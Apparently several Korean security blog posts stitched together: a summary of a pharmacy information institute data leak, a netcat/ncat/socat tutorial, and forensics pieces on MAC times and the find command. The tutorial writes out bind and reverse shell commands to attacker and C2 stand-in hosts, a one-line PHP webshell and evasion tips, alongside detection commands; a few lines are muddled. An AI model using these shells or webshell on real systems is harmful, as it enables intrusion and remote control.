1. 개요

  • 2025년 5월 30일, 대한약사회 산하 약학정보원의 홈페이지 Q&A 게시판에 등록된 한 게시물에서 회원 개인정보 총 7,669건이 외부에 노출되는 사고가 발생했습니다. 
  • 약학정보원은 6월 2일 홈페이지를 통해 유출 사실을 공식 발표하고 진심으로 사과했습니다. 
  • 이는 현재 운영이 중단된 Q&A 게시판의 기존 게시글이 누군가에 의해 임의로 수정되면서 발생한 것으로 파악되었습니다.
  • 2025년 6월 23일, 약학정보원 유상준 원장이 전문언론 간담회를 열고, 경과 및 대응 조치에 대해 직접 설명했습다.

 

2. 피해범위

  • 총 7,669명의 약학정보원 회원 정보가 유출되었습니다. 
  • 약학정보원은 국내 의약품 및 수입의약품 정보의 데이터베이스화, 의약품정보 서비스 등을 영위하는 비영리 공익재단으로, 식품의약품안전처에서도 다수의 용역을 수주하는 약학 정보 부문의 핵심 단체입니다.

 

3. 유출항목

  • 유출된 개인정보 항목은 아이디(ID), 이름, 전화번호 및 휴대폰 번호, 이메일, 암호화된 비밀번호 등 5개 항목입니다. 
  • 다만 비밀번호는 복호화가 불가능한 방식으로 암호화되어 있어 직접적인 노출 위험은 낮다고 설명했습니다.

 

4. 원인

  • 약학정보원의 자체 조사 결과, 서버나 홈페이지에 어떠한 침입 흔적도 발견되지 않았습니다.
  • 이번 사고는 최근 여러 기업체에서 발생한 악성코드나 해킹에 의한 보안 사고와는 다른 유형으로, 이미 폐쇄된 Q&A 게시판의 기존 글이 누군가에 의해 임의로 수정되면서 개인정보가 포함된 것으로 파악되었습니다.
  • 정상적인 방법으로는 접근할 수 없는 게시물이 어떻게 수정되었는지, 외부 접속 경로가 무엇인지는 아직 파악되지 않은 상태입니다.

 

5. 대응

  • 약학정보원은 유출 사실을 인지한 후 해당 게시글을 즉시 삭제하고 Q&A 게시판 운영을 중단했습니다.
  • 추가적인 홈페이지 취약점 점검과 보완 조치를 시행했으며, 향후 동일한 사고가 재발하지 않도록 내부 관리체계 및 기술적 보호조치를 강화하고 있습니다.
  • 개인정보보호위원회에 개인정보 유출 사실을 신고했으며, 진상 규명을 위해 경찰에 수사를 의뢰했습니다.
  • 대한약사회도 사고 발생 직후 실시간으로 조사 결과를 공유하며 추가 피해 방지에 나섰습니다.
  • 현재 약정원은 DB 접근 권한 재설정, 보안 솔루션 도입, 검색 엔진 노출 정보 삭제 요청, 전 직원 대상 교육 실시 등 후속 조치를 추진 중입니다.

 

6. 문제점

  • 진상 규명의 어려움: 약학정보원 시스템상 폐쇄된 게시물에 대한 접속 및 수정 기록을 확인할 수 없어 진상 파악이 어려운 상황입니다.
  • 문제가 된 게시물은 로그가 남지 않아 수정 시점이나 주체를 확인할 수 없습니다.
  • 2차 피해 우려: 유출된 개인정보가 악용될 수 있어 의심되는 전화나 메일 등을 받을 가능성이 있습니다. 타 사이트에서도 동일한 비밀번호를 사용하는 경우 보안상 위험이 있어 비밀번호 변경이 권장됩니다.
  • 시스템 관리 미흡: 사건 경위를 명확히 규명하지 못할 경우 외부 기관의 제재 수위가 높아질 수 있어 재발 방지 방안 마련이 시급합니다.
  • 2025년 5월경 개인정보가 노출된 것으로 추정되며, 유출 사실은 올해 5월 30일 제보를 통해 처음 인지했다고 합니다.

리눅스 네트워킹 분야에서 가장 강력하고 다용도로 활용되는 도구들이 바로 nc(netcat), ncat, socat입니다. 이 세 가지 도구는 모두 네트워크 연결을 통한 데이터 송수신을 지원하지만, 각각 고유한 특징과 장점을 가지고 있어 상황에 따라 적절히 선택하여 사용해야 합니다. 이 글에서는 세 도구의 차이점과 각각의 활용법을 상세히 알아보겠습니다.

 

◎  nc, ncat, socat 개요 및 비교
 - 각 도구의 정의
nc(netcat)는 TCP/UDP 프로토콜을 사용하여 네트워크 연결을 통해 데이터를 읽고 쓰는 명령줄 유틸리티로, "네트워크의 스위스 아미 나이프"라고 불립니다. ncat은 Nmap 프로젝트의 일부로 개발된 netcat의 향상된 버전으로, SSL/TLS 암호화와 추가 보안 기능을 제공합니다. socat은 두 개의 독립적인 데이터 채널 간 양방향 데이터 전송을 위한 고급 릴레이 도구로, 다양한 프로토콜 변환과 암호화 기능을 지원합니다.

 - 주요 차이점 비교

특징 nc (netcat) ncat socat
기본 기능 TCP/UDP 연결, 포트 스캔 nc + SSL/TLS 지원 양방향 데이터 전송, 프로토콜 변환
암호화 미지원 SSL/TLS 지원 SSL/TLS, 다양한 암호화
보안 기본적 향상된 보안 기능 고급 보안 및 인증
복잡성 간단함 중간 복잡함
설치 대부분 기본 설치 Nmap 패키지 필요 별도 설치 필요


◎ nc(netcat) 명령어란?
 - nc(netcat)는 TCP/UDP 연결을 생성해 데이터를 송수신할 수 있는 명령줄 기반 네트워크 유틸리티입니다. 범용성이 높아, 포트 스캔, 파일 전송, 임시 서버 구축, 원격 명령 실행 등 다양한 목적으로 사용됩니다.

 - nc 주요 옵션

  • -l: 리스닝(서버) 모드로 동작
  • -p: 소스 포트 지정
  • -v: 상세 출력
  • -n: 호스트명 대신 IP 직접 입력
  • -z: 포트 스캔(데이터 송수신 없음)
  • -u: UDP 프로토콜 사용
  • -e: 연결 시 프로그램 실행(쉘 연결 등, 일부 배포판은 보안상 비활성화)
  • -k: 지속 연결 옵션

 

 - nc 기본 구문

# nc [옵션] [호스트] [포트]

 

◎ ncat 명령어란?
 - Nmap 프로젝트에서 개발된 netcat의 향상된 버전으로, SSL/TLS 암호화, 접근 제어 등 보안 기능이 추가되었습니다.

 - 주요 옵션

  • --ssl : SSL/TLS 암호화 통신
  • --allow : 특정 IP 접근 허용
  • --exec : 연결 시 명령어 실행 (예: --exec "/bin/bash")
  • --chat : 다중 사용자 채팅 서버 모드
  • --broker : 클라이언트 간 메시지 중계

 

 - 핵심 특징

  • 암호화 통신 지원으로 보안성 향상
  • 화이트리스트 기반 접근 제어
  • SOCKS/HTTP 프록시 통합 지원
  • 지속적 연결 유지 (-k 옵션)

 

socat 명령어란?
 - socat은 "SOcket CAT"의 줄임말로, 두 개의 독립적인 데이터 채널 간 양방향 데이터 전송을 위한 다목적 릴레이 도구입니다. netcat보다 확장된 기능을 제공하며, SSL/TLS 암호화와 다양한 프로토콜 변환 기능을 지원합니다.

 - socat 주요 특징

  • 양방향 데이터 전송
  • SSL/TLS 암호화 지원
  • 다양한 프로토콜 변환
  • 포트 포워딩 및 프록시 기능
  • 파일 전송

 

 - socat 기본 구문

# socat [옵션] <주소1> <주소2>

 

◎ nc 기본 사용 예제
 - 포트 스캔

단일 포트 검사
# nc -zv server.com 80

포트 범위 검사 (20-80번 포트)
# nc -zv 10.10.10.10 20-80

UDP 포트 검사
# nc -zvu server.com 53

  > 포트 스캔은 netcat의 가장 일반적인 용도 중 하나로, -z 옵션을 통해 데이터 전송 없이 특정 포트나 포트 범위의 개방 여부를 확인할 수 있습니다.

 - 간단한 채팅 서버

서버 측 (5555번 포트에서 대기)
# nc -l 5555

클라이언트 측
# nc server_ip 5555

  > 이제 양쪽에서 메시지를 입력하면 실시간으로 채팅이 가능합니다.

 - HTTP 요청 수행

HTTP GET 요청 보내기
# echo "GET / HTTP/1.1\r\nHost: http://www.server.com\r\n\r\n" | nc http://www.server.com 80

  > 웹서버에 직접 HTTP 요청을 보내어 응답을 확인할 수 있습니다.

 

◎ ncat 기본 사용 예제

 - SSL/TLS 암호화 통신

SSL 클라이언트 연결
# ncat --ssl server.com 443

SSL 서버 구성
# ncat -l 443 --ssl --ssl-cert server.crt --ssl-key server.key

SSL 인증서 검증
# ncat --ssl --ssl-verify server.com 443

  > SSL 연결 시에는 --ssl-verify 옵션을 사용하여 인증서 검증을 활성화하는 것이 보안상 권장됩니다.


◎ socat 기본 사용 예제
 - 포트 포워딩

로컬 8080 포트를 example.com의 80 포트로 포워딩
# socat TCP-LISTEN:8080,fork TCP:server.com:80

UDP 포트 포워딩
# socat UDP-LISTEN:1234,fork UDP:server.com:5678

SOCKS 프록시
# socat TCP-LISTEN:1080,fork SOCKS4:proxy.com:target.com:80

  > socat을 사용하면 간단하게 포트 포워딩과 프록시 서버를 구성할 수 있습니다.

 - SSL/TLS 터널링

SSL 서버 구성
# socat OPENSSL-LISTEN:443,cert=server.pem,verify=0 -

SSL 클라이언트 연결
# socat - OPENSSL:secure-server.com:443,verify=0

SSL 브리지
# socat TCP-LISTEN:8080,fork OPENSSL:target.com:443,verify=0

SSL/TLS 연결 터널링
# socat TCP-LISTEN:443,reuseaddr,fork OPENSSL:server.com:443,verify=0

  > socat은 SSL/TLS 암호화 통신을 지원하여 보안이 필요한 환경에서 활용할 수 있습니다.

◎ 파일 전송
 - nc를 이용한 파일 전송

수신 측 (파일을 받는 쪽)
# nc -l 5555 > received_file.txt

송신 측 (파일을 보내는 쪽)
# nc target_ip 5555 < file.txt

 

 - 디렉토리 전송도 가능합니다:

수신 측
# nc -l 5555 | tar xzvf -

송신 측
# tar czvf - /path/to/dir | nc target_ip 5555

  > netcat을 통한 파일 전송은 간단하고 효율적이며, 압축과 함께 사용하면 대용량 데이터도 빠르게 전송할 수 있습니다.

 

 - socat을 이용한 파일 전송

파일 내용을 네트워크로 전송
# socat FILE:test.txt TCP-LISTEN:1234

파일 복사
# socat FILE:source.txt FILE:destination.txt

  > socat은 다양한 주소 타입을 지원하여 더 유연한 파일 전송이 가능합니다.

 

◎ 쉘 접속 (바인드 쉘과 리버스 쉘)
 - 바인드 쉘 (Bind Shell)
  > 바인드 쉘은 대상 시스템에서 특정 포트를 열고 공격자가 접속하는 방식입니다.

  > nc를 이용한 바인드 쉘:

대상 시스템 (서버)
# nc -lvp 1234 -e /bin/sh

공격자 (클라이언트)
# nc target_ip 1234

 

  > socat을 이용한 바인드 쉘:

대상 시스템
# socat TCP-L:8080 EXEC:"bash -li"

공격자
# socat TCP:target_ip:8080 -

 

 - 리버스 쉘 (Reverse Shell)
  > 리버스 쉘은 대상 시스템이 공격자에게 역으로 연결하는 방식으로, 방화벽 우회에 효과적입니다.

  > nc를 이용한 리버스 쉘:

공격자 (서버)
# nc -lvp 1234

대상 시스템 (클라이언트)
# nc attacker_ip 1234 -e /bin/sh


  > ncat을 이용한 리버스 쉘:

공격자 (서버)
# ncat -l 4444 --ssl

대상 시스템 (클라이언트)
# ncat --ssl attacker_ip 4444 -e /bin/bash

 

  > socat을 이용한 리버스 쉘:

공격자
# socat TCP-LISTEN:4444 -

대상 시스템
# socat TCP:attacker_ip:4444 EXEC:/bin/bash

 

 - 리버스 쉘의 장점

  > 리버스 쉘이 선호되는 이유는 다음과 같습니다:

  • 방화벽 우회: 인바운드 규칙은 엄격하지만 아웃바운드 규칙은 상대적으로 느슨한 경우가 많음
  • NAT 환경 대응: 사설망 환경에서도 동작 가능
  • 탐지 회피: 외부로 나가는 연결이므로 덜 의심받음

 

◎ 해커 악용 사례
 - MS-SQL 서버 대상 공격
  > 부적절하게 관리되는 MS-SQL 서버를 대상으로 한 netcat 악성코드 유포 사례가 확인되었습니다. 공격자들은 무차별 대입 공격으로 데이터베이스 서버에 침입한 후, netcat을 이용해 지속적인 접근 권한을 확보했습니다.

 

 - 공격 과정:

  • MS-SQL 서버에 무차별 대입 공격으로 침입
  • 코발트 스트라이크 설치 실패 시 netcat을 대안으로 사용
  • 리버스 쉘 방식으로 원격 제어 확보

 

 - 웹쉘 업로드를 통한 리버스 쉘 연결
  > 웹 애플리케이션의 파일 업로드 취약점을 악용하여 웹쉘을 업로드하고, 이를 통해 리버스 쉘을 연결하는 사례가 많이 발견됩니다.

 - 공격 시나리오:

  > 웹쉘을 통한 리버스 쉘 연결

업로드된 PHP 웹쉘
<?php echo system($_GET['cmd']); ?>

웹쉘을 통한 리버스 쉘 실행

# nc attacker_ip 4444 -e /bin/bash

 

  > 암호화를 통한 탐지 회피

암호화된 악성 통신
# ncat --ssl c2-server.com 443 -e /bin/bash

 

 - ChatGPT를 이용한 악성코드 생성
  > 최근에는 ChatGPT와 같은 AI 도구를 악용하여 netcat 기반 악성코드를 생성하는 사례도 나타나고 있습니다. 초보 해커들도 쉽게 악성코드를 만들 수 있게 되어 사이버 범죄의 진입 장벽이 낮아지고 있습니다.

 - 침해사고 시나리오
  > 공격자들은 다음과 같은 방식으로 지속적인 접근을 시도합니다:

  • 내부 침입 성공 후 root 계정 탈취
  • 일반 사용자로 위장한 root 권한 계정 생성
  • cron에 netcat 리버스 쉘 등록으로 지속성 확보
  • 주기적인 외부 연결을 통한 악의적 명령 수행

 

고급 활용 기법
 - 암호화된 통신
  > socat SSL 클라이언트:

SSL 클라이언트 연결
# socat - OPENSSL:secure-server.com:443,verify=0

 

  > socat SSL 서버:

SSL 서버 구성 (인증서 필요)
# socat OPENSSL-LISTEN:443,cert=server.pem,verify=0 -

 

 - 포트 노킹 시뮬레이션

특정 순서로 포트에 접근하여 숨겨진 서비스 활성화
# nc -zv target_ip 1001
# nc -zv target_ip 2002  
# nc -zv target_ip 3003
# nc target_ip 22  # SSH 포트가 열림

 

 - 데이터 중계 및 프록시
  > socat을 이용한 TCP/Unix 도메인 프록시:

Unix 도메인 소켓을 TCP로 변환
# socat unix-listen:mysocket,reuseaddr,fork tcp-connect:localhost:8080

클라이언트 연결
#socat STDIN unix-connect:mysocket

 

보안 고려사항
 - 방어 방법

  • 방화벽 설정: 불필요한 아웃바운드 연결 차단
  • 포트 모니터링: 비정상적인 포트 사용 감시
  • 프로세스 모니터링: nc, socat 프로세스 실행 감시
  • 로그 분석: 네트워크 연결 로그 정기 분석

 

 - 탐지 방법

실행 중인 nc/socat 프로세스 확인
# ps aux | grep -E "(nc|netcat|ncat|socat)"

네트워크 연결 상태 확인
# netstat -tulpn | grep -E "(nc|netcat|ncat|socat)"

포트 리스닝 상태 확인
# ss -tulpn | grep -E "(:1234|:4444|:5555)"

 

 - 보안 설정
  > -e 옵션 비활성화:
많은 배포판에서는 보안상 nc의 -e 옵션을 비활성화합니다. 공격자들은 이를 우회하기 위해 다음과 같은 방법을 사용합니다:

안전한 SSL 연결
# ncat --ssl --ssl-verify server.com 443

위험한 SSL 연결 (검증 없음, 피해야 함)
# ncat --ssl server.com 443

 

  > SSL/TLS 사용 시 주의사항

 

실무 활용 시나리오

 - 네트워크 진단

서비스 상태 확인
# nc -zv web-server.com 80 443

네트워크 지연 측정
# time nc -z database-server.com 3306

 

 - 간단한 웹서버 구축

HTTP 응답 시뮬레이션
# while true; do echo -e "HTTP/1.1 200 OK\n\nHello World" | nc -l 8080; done

 

 - 로그 전송

로그 수집 서버
# nc -l 514 >> syslog.txt

로그 송신
# tail -f /var/log/messages | nc log-server.com 514

 

 - 접속 제어 및 화이트리스트

특정 IP만 접속 허용
# ncat -l 8080 --allow 192.168.1.100

여러 IP 허용
# ncat -l 8080 --allowfile allowed_ips.txt

  > ncat은 접속 IP 화이트리스트 기능을 제공하여 보안을 강화할 수 있으나 사용에 주의가 필요합니다.

 

 결론
 - nc, ncat, socat은 각각 고유한 특징과 장점을 가진 강력한 네트워킹 도구입니다. nc는 간단하고 빠른 네트워크 작업에 적합하며, ncat은 SSL/TLS 암호화가 필요한 보안 통신에 유용합니다. socat은 복잡한 프로토콜 변환과 고급 네트워킹 작업에 최적화되어 있습니다.

이전 글에서 다룬 find 명령어의 기본 활용법에 이어, 침해사고분석에서 매우 중요한 MAC Time의 개념과 find 명령어 사용 시 주의해야 할 사항들에 대해 자세히 알아보겠습니다.

◎ MAC Time의 개념과 침해사고분석에서의 중요성

 - MAC Time이란?

  > MAC Time은 파일 시스템 메타데이터의 일종으로, 컴퓨터 파일과 관련된 특정 이벤트가 가장 최근에 발생한 시점을 기록합니다.

  > MAC은 다음 세 가지 시간 정보의 약어입니다:

  • M (Modified Time, mtime): 파일의 내용이 마지막으로 수정된 시간
  • A (Access Time, atime): 파일에 마지막으로 접근한 시간
  • C (Change Time, ctime): 파일의 메타데이터가 마지막으로 변경된 시간

  > 일부 파일 시스템에서는 B (Birth Time, btime) 또는 crtime이라고 불리는 파일 생성 시간도 추가로 기록하여 MACB Time이라고 부르기도 합니다.

 - 각 시간 정보의 정확한 의미

  > 많은 사람들이 ctime을 "Create Time(생성 시간)"으로 잘못 이해하고 있으나, 이는 정확하지 않습니다. 리눅스/유닉스 시스템에서 각 시간의 정확한 의미는 다음과 같습니다:

 

 - mtime (Modify Time)

  > 파일의 데이터가 수정되었을 때 갱신됩니다

  > 파일 내용을 변경하면 mtime이 변경되며, 동시에 ctime도 변경됩니다

  > 파일 크기가 변경되면 이는 메타데이터 변경에 해당하므로 ctime도 함께 갱신됩니다

 

 - atime (Access Time)

  > 파일이 읽혀지거나 실행될 때마다 갱신됩니다

  > cat, tail, vi, grep 등의 명령어로 파일에 접근할 경우 갱신됩니다

  > 성능상의 이유로 많은 시스템에서 atime 갱신을 비활성화하는 경우가 많습니다

 

 - ctime (Change Time)

  > 파일의 inode 정보(메타데이터)가 변경될 때 갱신됩니다

  > 권한 변경(chmod), 소유자 변경(chown), 파일 내용 수정 등이 발생할 때 갱신됩니다

  > 주의: ctime은 파일 생성 시간이 아닙니다

침해사고분석에서 MAC Time의 활용
 - 침해사고분석에서 MAC Time은 공격자의 행동 패턴을 시간순으로 재구성하는 타임라인 분석의 핵심 요소입니다. 이를 통해 다음과 같은 분석이 가능합니다:

  > 공격 시점 추정: 특정 시점에 수정되거나 생성된 파일들을 분석하여 공격 발생 시점을 파악

  > 악성코드 활동 추적: 악성코드가 생성하거나 수정한 파일들의 시간 정보를 통한 감염 경로 추적

  > 공격자 행위 재구성: 파일 접근, 수정, 권한 변경 등의 시간 순서를 통한 공격 과정 재현

◎ find 명령어 사용 시 주의사항: ctime과 atime의 관계
 - ctime 사용 시 주의사항

  > 침해사고분석에서 find 명령어를 사용할 때 가장 주의해야 할 점은 ctime을 이용한 검색이 atime을 변경시킬 수 있다는 것입니다. 이는 다음과 같은 이유 때문입니다:

  • 파일 접근에 의한 atime 변경: find 명령어가 파일의 메타데이터를 읽기 위해 파일에 접근하면서 atime이 변경될 수 있습니다
  • 증거 훼손 위험: 원본 파일의 시간 정보가 변경되면 forensic evidence의 무결성이 손상됩니다
  • 타임라인 분석 오류: 변경된 atime으로 인해 잘못된 타임라인이 구성될 수 있습니다

 

 - 실제 예제를 통한 설명
다음은 find 명령어 사용 시 시간 정보 변경을 보여주는 예제입니다:

1. 테스트 파일 생성
# echo "test content" > test_file.txt

2. 초기 MAC Time 확인
#stat test_file.txt


출력 결과:

Access: 2023-12-15 10:30:15.123456789 +0900
Modify: 2023-12-15 10:30:15.123456789 +0900
Change: 2023-12-15 10:30:15.123456789 +0900

 

3. find 명령어로 ctime 기반 검색 실행
# find . -name "test_file.txt" -ctime -1

4. 검색 후 MAC Time 재확인
# stat test_file.txt


출력 결과:

Access: 2023-12-15 10:35:22.987654321 +0900  # atime이 변경됨!
Modify: 2023-12-15 10:30:15.123456789 +0900
Change: 2023-12-15 10:30:15.123456789 +0900



 - 침해사고분석을 위한 안전한 find 사용법
1. mtime 우선 사용
ctime 대신 mtime을 사용하여 파일 접근을 최소화합니다:

위험한 방법 (ctime 사용)
# find /var/log -ctime -7  # atime 변경 위험

안전한 방법 (mtime 사용)
# find /var/log -mtime -7  # 파일 내용 수정 시간 기준


2. noatime 옵션 활용
파일 시스템을 noatime 옵션으로 마운트하여 atime 갱신을 방지합니다:

파일 시스템을 noatime으로 마운트
# mount -o remount,noatime /evidence_partition

또는 특정 디렉토리를 바인드 마운트
# mount --bind -o noatime /evidence /mnt/safe_evidence


3. 읽기 전용 모드 활용
증거 보전을 위해 읽기 전용으로 마운트합니다:

읽기 전용으로 마운트
# mount -o ro,noatime /dev/sdb1 /mnt/evidence

find 명령어 실행
# find /mnt/evidence -name "*.log" -mtime -5


4. 포렌식 이미징 후 분석
원본 시스템 대신 포렌식 이미지에서 분석을 수행합니다:

dd를 이용한 포렌식 이미징
# dd if=/dev/sdb of=/case/evidence.img bs=64K conv=noerror,sync

이미지 마운트 후 분석
# mount -o ro,loop,noatime /case/evidence.img /mnt/analysis
# find /mnt/analysis -type f -mtime -3


 - 침해사고분석을 위한 MAC Time 검색 예제
1. 안전한 최근 수정 파일 검색

최근 3일간 수정된 실행 파일 검색 (atime 보호)
# mount -o remount,noatime /
# find /usr/bin /usr/sbin -type f -executable -mtime -3 > recent_binaries.txt


2. 특정 시점 전후 파일 분석

침해 의심 시점(2023-12-10) 전후 파일 검색
# find /var/www -type f -newermt '2025-04-09' ! -newermt '2025-04-11' -exec ls -la {} \; > suspicious_files.txt


3. 웹쉘 탐지를 위한 안전한 검색

웹 디렉토리의 최근 수정 파일 중 PHP 파일 검색
# find /var/www -name "*.php" -mtime -7 -exec grep -l "eval\|base64_decode\|system" {} \; 2>/dev/null


4. 시스템 파일 무결성 검사

시스템 바이너리의 최근 변경 사항 검색
# find /bin /sbin /usr/bin /usr/sbin -type f -mtime -30 -exec stat --format="%n %Y %y" {} \; | sort -k2


 - MAC Time 분석 도구 활용
  > 침해사고분석에서는 전문적인 MAC Time 분석 도구를 활용하는 것이 좋습니다:

mactime 도구를 이용한 타임라인 생성 (Sleuth Kit)
# fls -r -m / /dev/sdb1 > body_file.txt
# mactime -b body_file.txt -d > timeline.csv

특정 기간의 타임라인 추출
# mactime -b body_file.txt -d 2023-12-10..2023-12-15 > incident_timeline.csv

 

◎ 결론
침해사고분석에서 MAC Time은 공격자의 행위를 시간순으로 재구성하는 핵심 정보입니다. 그러나 find 명령어를 부주의하게 사용할 경우 atime이 변경되어 중요한 증거가 훼손될 수 있습니다.

따라서 침해사고분석 시에는 다음 원칙을 반드시 준수해야 합니다:

  • ctime 대신 mtime 우선 사용: 파일 접근을 최소화하여 atime 변경 방지
  • noatime 옵션 활용: 파일 시스템 마운트 시 atime 갱신 비활성화
  • 읽기 전용 모드: 증거 보전을 위한 읽기 전용 마운트
  • 포렌식 이미징: 원본 대신 복사본에서 분석 수행

이러한 주의사항을 준수하면서 find 명령어와 MAC Time 분석을 적절히 활용한다면, 더욱 정확하고 신뢰할 수 있는 침해사고 분석이 가능할 것입니다.

리눅스 시스템을 사용하다 보면 특정 파일을 찾거나 조건에 맞는 파일을 검색해야 하는 상황이 자주 발생합니다. 이럴 때 가장 강력하고 유용한 도구가 바로 find 명령어입니다. 이 명령어는 단순한 파일 검색을 넘어 시스템 관리, 보안 감사, 침해사고 분석 등 다양한 영역에서 활용됩니다. 이 글에서는 find 명령어의 기본 사용법부터 고급 활용 방법, 그리고 침해사고 분석에서의 활용 사례까지 상세히 알아보겠습니다.

1. find 명령어 기본 구조
find 명령어의 기본 구조는 다음과 같습니다:

# find [옵션] [경로] [표현식]
  • 옵션: 검색 방식을 지정 (예: 심볼릭 링크 처리 방법)
  • 경로: 검색을 시작할 위치 지정 (예: .는 현재 디렉토리, /는 루트 디렉토리)
  • 표현식: 검색 조건 지정 (이름, 크기, 날짜 등)

 
2. 주요 옵션과 표현식
2.1 자주 사용되는 옵션

  • -P: 심볼릭 링크를 따라가지 않고, 심볼릭 링크 자체 정보 사용
  • -L: 심볼릭 링크에 연결된 파일 정보 사용
  • -H: 심볼릭 링크를 따라가지 않으나, 명령줄 인자 처리 시에는 예외
  • -D: 디버그 메시지 출력

 
2.2 주요 표현식

  • -name: 파일명으로 검색 (대소문자 구분)
  • -iname: 파일명으로 검색 (대소문자 구분 없음)
  • -type: 파일 타입으로 검색 (f: 일반 파일, d: 디렉토리, l: 심볼릭 링크)
  • -size: 파일 크기로 검색
  • -empty: 빈 파일이나 디렉토리 검색
  • -user: 특정 사용자 소유의 파일 검색
  • -group: 특정 그룹 소유의 파일 검색
  • -perm: 특정 권한을 가진 파일 검색
  • -mtime: 수정 시간 기준 검색
  • -atime: 접근 시간 기준 검색
  • -ctime: 속성 변경 시간 기준 검색
  • -exec: 검색된 파일에 명령 실행
  • -delete: 검색된 파일 삭제
  • -maxdepth: 검색할 최대 디렉토리 깊이 지정
  • -mindepth: 검색을 시작할 최소 디렉토리 깊이 지정

 
3. 기본 사용 예제
3.1 이름으로 파일 찾기

현재 디렉토리에서 "test.txt" 파일 찾기
# find . -name "test.txt"

현재 디렉토리에서 .txt 확장자를 가진 모든 파일 찾기
# find . -name "*.txt"

대소문자 구분 없이 README 파일 찾기
# find . -iname "readme*"

이름 검색은 가장 기본적이고 자주 사용되는 방식으로, 와일드카드(*)를 활용하면 더 유연한 검색이 가능합니다.
 
3.2 파일 타입으로 찾기

현재 디렉토리에서 모든 디렉토리 찾기
# find . -type d

현재 디렉토리에서 모든 일반 파일 찾기
# find . -type f

현재 디렉토리에서 모든 심볼릭 링크 찾기
# find . -type l

파일 타입 지정은 특정 종류의 파일만 검색할 때 유용합니다.
 
3.3 파일 크기로 찾기

100MB보다 큰 파일 찾기
# find . -size +100M

10KB보다 작은 파일 찾기
# find . -size -10k

정확히 1GB인 파일 찾기
# find . -size 1G

빈 파일이나 디렉토리 찾기
# find . -empty

크기 검색은 디스크 공간 관리나 대용량 파일 찾기에 유용합니다.
 
3.4 시간 기준으로 찾기

7일 이내에 수정된 파일 찾기
# find . -mtime -7

30일보다 오래된 파일 찾기
# find . -mtime +30

정확히 1일 전에 수정된 파일 찾기
# find . -mtime 1

최근 60분 이내에 접근된 파일 찾기
# find . -amin -60

시간 기준 검색은 최근 변경된 파일을 찾거나 오래된 파일을 정리할 때 유용합니다.
 
3.5 권한으로 찾기

정확히 644 권한을 가진 파일 찾기
# find . -perm 644

SUID 비트가 설정된 파일 찾기
# find . -perm -4000

SGID 비트가 설정된 파일 찾기
# find . -perm -2000

권한 검색은 보안 감사나 특정 권한을 가진 파일을 관리할 때 유용합니다.
 
4. 고급 사용 예제
4.1 논리 연산자 활용

AND 연산: .txt 파일이면서 100KB보다 큰 파일 찾기
# find . -name "*.txt" -size +100k

OR 연산: .jpg 또는 .png 파일 찾기
# find . \( -name "*.jpg" -o -name "*.png" \)

NOT 연산: .log가 아닌 파일 찾기
# find . ! -name "*.log"

논리 연산자를 활용하면 복잡한 조건의 검색이 가능합니다.
 
4.2 exec 옵션으로 명령 실행하기

찾은 파일의 상세 정보 출력하기
# find . -name "*.log" -exec ls -l {} \;

찾은 파일 삭제하기
# find . -name "*.tmp" -exec rm {} \;

찾은 파일의 권한 변경하기
# find . -name "*.sh" -exec chmod +x {} \;

찾은 파일 내용 검색하기
# find . -name "*.conf" -exec grep "password" {} \;

-exec 옵션은 검색된 파일에 대해 추가 작업을 수행할 때 매우 유용합니다. {} 는 검색된 파일명으로 대체되며, \;는 명령의 끝을 나타냅니다.
 
4.3 파일 시스템 관리 예제

30일 이상 된 로그 파일 찾아서 압축하기
# find /var/log -name "*.log" -mtime +30 -exec gzip {} \;

100MB 이상인 파일 찾아서 목록 저장하기
# find / -size +100M -type f > large_files.txt

특정 사용자의 파일 찾기
# find /home -user username -type f

이러한 예제들은 시스템 관리자가 디스크 공간을 효율적으로 관리하는 데 도움이 됩니다.
 
5. 침해사고 분석을 위한 find 명령어 활용
침해사고 분석에서 find 명령어는 비정상적인 파일이나 악성코드를 찾는 데 매우 중요한 역할을 합니다.
5.1 최근 수정된 파일 검색

최근 5일 동안 수정되거나 생성된 파일 찾기
# find / -type f -mtime -5 -print

특정 기간 동안 수정된 실행 파일 찾기
# find / -type f -executable -newermt '2025-01-01' ! -newermt '2025-01-05'

침해사고 발생 시점을 알고 있다면, 해당 시점 전후로 수정된 파일을 검색하여 악성코드나 변조된 파일을 찾을 수 있습니다.
 
5.2 비정상적인 권한을 가진 파일 검색

SUID 권한이 설정된 파일 찾기
# find / -user root -perm -4000 -print > suidlist

SGID 권한이 설정된 파일 찾기
# find / -user root -perm -2000 -print > sgidlist

공격자는 종종 권한 상승을 위해 SUID/SGID 비트가 설정된 파일을 생성하거나 변조합니다.
 
5.3 숨겨진 파일 검색

숨겨진 파일 및 디렉토리 찾기
# find / -name ".*" -type f -print

특수 문자로 시작하는 파일 찾기
# find / -name " *" -o -name ".." -o -name "..." -print

공격자는 종종 파일명 앞에 공백이나 특수 문자를 사용하여 파일을 숨깁니다.
 
5.4 비정상적인 위치의 파일 검색

/dev 디렉토리에 있는 일반 파일 찾기 (비정상)
# find /dev -type f -print

/tmp 디렉토리에 있는 실행 파일 찾기
# find /tmp -type f -executable -print

일반적으로 특정 디렉토리에 존재하지 않아야 할 파일 유형을 검색하여 악성코드를 찾을 수 있습니다.
 
5.5 웹쉘 탐지를 위한 검색

PHP 파일에서 위험한 함수 검색
# find /var/www -type f -name "*.php" -exec grep -l "eval(" {} \;

웹 디렉토리에서 의심스러운 파일 검색
# find /var/www -type f \( -name "*.php" -o -name "*.txt" -o -name "*.inc" \) | xargs grep -r -i -l "exec("

웹쉘은 종종 eval(), exec(), system() 같은 위험한 함수를 포함하고 있어, 이러한 패턴을 검색하여 탐지할 수 있습니다.
 
5.6 악성코드 탐지를 위한 검색

최근 생성된 실행 파일 중 크기가 작은 파일 검색
# find / -type f -executable -mtime -7 -size -100k

특정 해시값을 가진 파일 검색
# find / -type f -exec sha256sum {} \; | grep "악성코드_해시값"

악성코드는 종종 최근에 생성되었거나 특정 크기 범위에 있는 경우가 많습니다.
 
6. 실전 침해사고 분석 시나리오
6.1 웹서버 침해사고 분석
웹서버가 해킹되었다는 의심이 들 경우, 다음과 같은 단계로 find 명령어를 활용할 수 있습니다:
최근 수정된 웹 파일 검색:

# find /var/www -type f -mtime -3 -print


웹쉘 탐지:

# find /var/www -type f \( -name "*.php" -o -name "*.jsp" \) | xargs grep -l -i "passthru\|shell_exec\|system\|base64_decode\|eval"


숨겨진 파일 검색:

# find /var/www -name ".*" -type f -print

이러한 명령어를 통해 웹서버에 삽입된 악성코드나 웹쉘을 효과적으로 탐지할 수 있습니다.
 
6.2 백도어 탐지
시스템에 백도어가 설치되었다고 의심될 경우:
